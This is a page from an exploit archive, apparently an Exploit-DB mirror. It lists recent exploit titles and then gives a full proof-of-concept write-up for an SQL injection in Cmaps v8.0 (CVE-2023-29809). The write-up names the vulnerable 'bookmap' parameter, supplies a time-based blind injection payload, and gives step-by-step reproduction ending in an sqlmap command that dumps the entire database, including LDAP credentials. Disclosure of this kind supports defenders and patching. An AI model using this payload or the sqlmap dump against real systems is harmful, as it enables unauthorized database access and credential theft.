8945b320b5
20 changes to exploits/shellcodes/ghdb Codigo Markdown Editor v1.0.1 (Electron) - Remote Code Execution Cmaps v8.0 - SQL injection EasyPHP Webserver 14.1 - Multiple Vulnerabilities (RCE and Path Traversal) File Thingie 2.5.7 - Remote Code Execution (RCE) Intern Record System v1.0 - SQL Injection (Unauthenticated) Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module Jedox 2022.4.2 - Code Execution via RPC Interfaces Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks Jedox 2022.4.2 - Remote Code Execution via Directory Traversal KodExplorer v4.51.03 - Pwned-Admin File-Inclusion - Remote Code Execution (RCE) Online Pizza Ordering System v1.0 - Unauthenticated File Upload pluck v4.7.18 - Stored Cross-Site Scripting (XSS) Simple Task Managing System v1.0 - SQL Injection (Unauthenticated) Ulicms-2023.1 sniffing-vicuna - Remote Code Execution (RCE) Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS) Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
46 lines
No EOL
1.9 KiB
Text
46 lines
No EOL
1.9 KiB
Text
# Exploit Title: Cmaps v8.0 - SQL injection
|
|
|
|
- Date: 27.04.2023
|
|
- Exploit Author: Lucas Noki (0xPrototype)
|
|
- Vendor Homepage: https://github.com/vogtmh
|
|
- Software Link: https://github.com/vogtmh/cmaps
|
|
- Version: 8.0
|
|
- Tested on: Mac, Windows, Linux
|
|
- CVE : CVE-2023-29809
|
|
|
|
*Description:*
|
|
|
|
The vulnerability found is an SQL injection. The `bookmap` parameter is vulnerable. When visiting the page: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test we get the normal JSON response. However if a single quote gets appended to the value of the `bookmap` parameter we get an error message:
|
|
```html
|
|
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
|
|
```
|
|
|
|
Now if two single quotes get appended we get the normal response without an error. This confirms the opportunity for sql injection. To really prove the SQL injection we append the following payload:
|
|
```
|
|
'-(select*from(select+sleep(2)+from+dual)a)--+
|
|
```
|
|
|
|
The page will sleep for two seconds. This confirms the SQL injection.
|
|
|
|
*Steps to reproduce:*
|
|
|
|
1. Send the following payload to test the vulnerability: ```'-(select*from(select+sleep(2)+from+dual)a)--+```
|
|
|
|
2. If the site slept for two seconds run the following sqlmap command to dump the whole database including the ldap credentials.
|
|
```shell
|
|
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
|
|
```
|
|
|
|
Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.
|
|
|
|
|
|
|
|
## Request to the server:
|
|
|
|
<img src="Screenshot 2023-04-30 at 22.23.51.png" alt="Screenshot 2023-04-30 at 22.23.51" style="zoom:50%;" />
|
|
|
|
## Response from the server:
|
|
|
|
Look at the response time.
|
|
|
|
<img src="Screenshot 2023-04-30 at 22.24.35.png" alt="Screenshot 2023-04-30 at 22.24.35" style="zoom:50%;" /> |